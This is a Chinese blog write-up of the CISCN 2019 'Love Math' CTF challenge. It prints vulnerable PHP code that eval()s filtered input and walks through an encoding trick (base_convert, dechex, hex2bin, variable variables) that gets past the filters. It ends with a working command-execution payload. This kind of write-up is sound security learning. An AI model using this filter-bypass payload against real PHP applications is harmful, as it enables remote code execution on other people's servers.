CTF -- [CISCN 2019 初赛]Love Math 1(php杂项)

原创

Gh0st_1n_The_shell 于 2021-09-10 16:59:50 发布 60 收藏

分类专栏： CTF 文章标签： php

本文链接：https://blog.csdn.net/weixin_45841815/article/details/120224473

网上的writeup写的太简单了，自己重新写一遍

```php
<?php
error_reporting(0);
//听说你很喜欢数学，不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', '
ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'h
exdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_g
etrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'sr
and', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}
```

这个题目的代码非常好审计，没什么特别难理解的地方

只有一个传参的地方，就是c，c的限制就是长度小于80，过滤掉了一些特殊字符，如[]；字母只能使用题目所给白名单里面的函数，然后把最终的结果放到eval()函数来执行

在没有过滤的情况下，我们的payload需要用到php动态函数

简单介绍一下动态函数

```
$a = "system"
然后
$a("whoami") = system("whoami")
```

重新回到题目，如果使用动态函数，我们的payload就应该写成
`c=$_GET['a']($_GET['b'])&a=system&b=cat flag`
从这里开始，很多互抄的的writeup就讲的不清不楚了

[]被过滤了可以用大括号{}来代替

`c=$_GET['a']($_GET['b'])&a=system&b=cat flag`这段代码，成功上传后的作用其实就等价于`$_GET['a']($_GET['b']) = system(cat flag)`，但是我们不能直接使用这个payload，原因是因为_和被过滤掉了，面对两重过滤，只能使用编码过滤，刚好白名单中也提供了可以编码的函数，分别是base_convert 和dechex，第一个可以进行进制之间的转换，第二个函数是将10进制转成16进制，然而这就又有一个问题，这两个函数只能提供进制之间的转换，没法将进制转换为字符串，在php中可以将进制转换为字符串的只有hex2bin()这个函数（chr、ord应该也行，不过就是两个函数比较麻烦），然鹅hex2bin这个函数不存在于白名单中，这就是重点所在了
使用base_convert函数最高可以支持36进制，10以后就以字母来代替，10-35就以a-z来代替，所以使用36进制，可以用数字来代替字母，但是我们无法使用这个函数来代替_，所以还需要hex2bin和dechex函数

```
base_convert(37907361743,10,36) = hex2bin
dechex(1598506324) = 5f474554
hex2bin("5f474554") = _GET
base_convert(37907361743,10,36)(dechex(1598506324)) = _GET
```

为了满足长度小于80，只能再使用可变变量来构造payload
简单介绍一下可变变量

```
<? php
$name = "hello";
$$name = "World";
echo $name
echo "<br />"
echo $hello; //$$name
echo "<br />";
echo $$name;
?>
输出结果
hello
World
World
```

最终payload
`?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{exp})&abs=system&exp=cat /flag`
字母只能用题目给出的白名单的函数，太长的变量会导致payload太长，所以只能选这几个名字